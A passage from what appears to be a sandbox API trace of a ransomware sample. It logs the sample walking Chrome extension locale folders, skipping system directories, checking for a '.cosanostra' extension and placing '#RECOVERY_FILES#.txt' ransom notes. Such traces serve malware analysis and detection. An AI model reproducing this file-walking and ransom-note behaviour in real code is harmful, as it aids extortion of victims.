(lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.358] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.358] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.358] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json") returned 164 [0087.358] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\#RECOVERY_FILES#.txt") returned 171 [0087.358] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\#RECOVERY_FILES#.txt") returned 171 [0087.358] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da") returned 150 [0087.358] lstrcmpW (lpString1="da", lpString2=".") returned 1 [0087.358] lstrcmpW (lpString1="da", lpString2="..") returned 1 [0087.358] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*") returned 152 [0087.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.358] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\.") returned 152 [0087.358] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.358] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\..") returned 153 [0087.358] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.358] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.358] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json") returned 164 [0087.358] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.358] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.358] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.358] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json") returned 164 [0087.358] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\#RECOVERY_FILES#.txt") returned 171 [0087.358] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\#RECOVERY_FILES#.txt") returned 171 [0087.359] lstrcmpiW (lpString1="de", lpString2="Windows") returned -1 [0087.359] lstrlenW (lpString="Windows") returned 7 [0087.359] lstrcmpiW (lpString1="de", lpString2="Program Files") returned -1 [0087.359] lstrlenW (lpString="Program Files") returned 13 [0087.359] lstrcmpiW (lpString1="de", lpString2="Program Files (x86)") returned -1 [0087.359] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.359] lstrcmpiW (lpString1="de", lpString2="$Recycle.bin") returned 1 [0087.359] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.359] lstrcmpiW (lpString1="de", lpString2="System Volume Information") returned -1 [0087.359] lstrlenW (lpString="System Volume Information") returned 25 [0087.359] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de") returned 150 [0087.359] lstrcmpW (lpString1="de", lpString2=".") returned 1 [0087.359] lstrcmpW (lpString1="de", lpString2="..") returned 1 [0087.359] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*") returned 152 [0087.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.359] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.359] lstrlenW (lpString="Windows") returned 7 [0087.360] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.360] lstrlenW (lpString="Program Files") returned 13 [0087.360] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.360] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.360] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.360] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.360] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.360] lstrlenW (lpString="System Volume Information") returned 25 [0087.360] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\.") returned 152 [0087.360] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.360] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.360] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.360] lstrlenW (lpString="Windows") returned 7 [0087.360] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.360] lstrlenW (lpString="Program Files") returned 13 [0087.360] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.360] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.360] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.360] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.360] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.360] lstrlenW (lpString="System Volume Information") returned 25 [0087.360] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\..") returned 153 [0087.360] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.360] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.360] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.360] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.360] lstrlenW (lpString="Windows") returned 7 [0087.360] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.360] lstrlenW (lpString="Program Files") returned 13 [0087.361] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.361] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.361] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.361] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.361] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.361] lstrlenW (lpString="System Volume Information") returned 25 [0087.361] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json") returned 164 [0087.361] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.361] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.361] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.361] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json") returned 164 [0087.361] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0 [0087.361] FindClose (in: hFindFile=0x25aa70 | out: hFindFile=0x25aa70) returned 1 [0087.362] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\#RECOVERY_FILES#.txt") returned 171 [0087.362] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\#RECOVERY_FILES#.txt") returned 171 [0087.362] FindNextFileW (in: hFindFile=0x25aa30, lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 1 [0087.362] lstrcmpiW (lpString1="el", lpString2="Windows") returned -1 [0087.362] lstrlenW (lpString="Windows") returned 7 [0087.362] lstrcmpiW (lpString1="el", lpString2="Program Files") returned -1 [0087.362] lstrlenW (lpString="Program Files") returned 13 [0087.362] lstrcmpiW (lpString1="el", lpString2="Program Files (x86)") returned -1 [0087.362] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.362] lstrcmpiW (lpString1="el", lpString2="$Recycle.bin") returned 1 [0087.362] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.362] lstrcmpiW (lpString1="el", lpString2="System Volume Information") returned -1 [0087.362] lstrlenW (lpString="System Volume Information") returned 25 [0087.362] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el") returned 150 [0087.362] lstrcmpW (lpString1="el", lpString2=".") returned 1 [0087.362] lstrcmpW (lpString1="el", lpString2="..") returned 1 [0087.362] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*") returned 152 [0087.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.362] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.362] lstrlenW (lpString="Windows") returned 7 [0087.362] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.362] lstrlenW (lpString="Program Files") returned 13 [0087.362] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.362] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.362] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.362] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.362] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.362] lstrlenW (lpString="System Volume Information") returned 25 [0087.362] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\.") returned 152 [0087.362] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.362] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.362] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.362] lstrlenW (lpString="Windows") returned 7 [0087.362] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.362] lstrlenW (lpString="Program Files") returned 13 [0087.363] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.363] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.363] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.363] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.363] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.363] lstrlenW (lpString="System Volume Information") returned 25 [0087.363] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\..") returned 153 [0087.363] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.363] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.363] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.363] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.363] lstrlenW (lpString="Windows") returned 7 [0087.363] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.363] lstrlenW (lpString="Program Files") returned 13 [0087.363] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.363] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.363] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.363] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.363] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.363] lstrlenW (lpString="System Volume Information") returned 25 [0087.363] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json") returned 164 [0087.363] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.363] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.363] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.363] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json") returned 164 [0087.363] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0 [0087.363] FindClose (in: hFindFile=0x25aa70 | out: hFindFile=0x25aa70) returned 1 [0087.363] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\#RECOVERY_FILES#.txt") returned 171 [0087.363] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\#RECOVERY_FILES#.txt") returned 171 [0087.363] FindNextFileW (in: hFindFile=0x25aa30, lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 1 [0087.363] lstrcmpiW (lpString1="en", lpString2="Windows") returned -1 [0087.363] lstrlenW (lpString="Windows") returned 7 [0087.363] lstrcmpiW (lpString1="en", lpString2="Program Files") returned -1 [0087.363] lstrlenW (lpString="Program Files") returned 13 [0087.363] lstrcmpiW (lpString1="en", lpString2="Program Files (x86)") returned -1 [0087.363] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.363] lstrcmpiW (lpString1="en", lpString2="$Recycle.bin") returned 1 [0087.363] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.363] lstrcmpiW (lpString1="en", lpString2="System Volume Information") returned -1 [0087.363] lstrlenW (lpString="System Volume Information") returned 25 [0087.363] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en") returned 150 [0087.363] lstrcmpW (lpString1="en", lpString2=".") returned 1 [0087.363] lstrcmpW (lpString1="en", lpString2="..") returned 1 [0087.364] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*") returned 152 [0087.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.364] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.364] lstrlenW (lpString="Windows") returned 7 [0087.364] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.364] lstrlenW (lpString="Program Files") returned 13 [0087.364] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.364] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.364] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.364] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.364] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.364] lstrlenW (lpString="System Volume Information") returned 25 [0087.364] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\.") returned 152 [0087.364] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.364] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.364] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.364] lstrlenW (lpString="Windows") returned 7 [0087.364] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.364] lstrlenW (lpString="Program Files") returned 13 [0087.365] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.365] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.365] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.365] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.365] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.365] lstrlenW (lpString="System Volume Information") returned 25 [0087.365] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\..") returned 153 [0087.365] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.365] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.365] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.365] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.365] lstrlenW (lpString="Windows") returned 7 [0087.365] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.365] lstrlenW (lpString="Program Files") returned 13 [0087.365] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.365] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.365] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.365] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.365] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.365] lstrlenW (lpString="System Volume Information") returned 25 [0087.365] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json") returned 164 [0087.365] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.365] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.365] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.365] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json") returned 164 [0087.365] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0 [0087.365] FindClose (in: hFindFile=0x25aa70 | out: hFindFile=0x25aa70) returned 1 [0087.365] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\#RECOVERY_FILES#.txt") returned 171 [0087.365] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\#RECOVERY_FILES#.txt") returned 171 [0087.365] FindNextFileW (in: hFindFile=0x25aa30, lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 1 [0087.365] lstrcmpiW (lpString1="es", lpString2="Windows") returned -1 [0087.365] lstrlenW (lpString="Windows") returned 7 [0087.366] lstrcmpiW (lpString1="es", lpString2="Program Files") returned -1 [0087.366] lstrlenW (lpString="Program Files") returned 13 [0087.366] lstrcmpiW (lpString1="es", lpString2="Program Files (x86)") returned -1 [0087.366] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.366] lstrcmpiW (lpString1="es", lpString2="$Recycle.bin") returned 1 [0087.366] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.366] lstrcmpiW (lpString1="es", lpString2="System Volume Information") returned -1 [0087.366] lstrlenW (lpString="System Volume Information") returned 25 [0087.366] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es") returned 150 [0087.366] lstrcmpW (lpString1="es", lpString2=".") returned 1 [0087.366] lstrcmpW (lpString1="es", lpString2="..") returned 1 [0087.366] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*") returned 152 [0087.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.366] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.366] lstrlenW (lpString="Windows") returned 7 [0087.366] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.366] lstrlenW (lpString="Program Files") returned 13 [0087.366] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.366] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.366] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.366] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.366] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.366] lstrlenW (lpString="System Volume Information") returned 25 [0087.366] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\.") returned 152 [0087.366] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.366] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.366] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.366] lstrlenW (lpString="Windows") returned 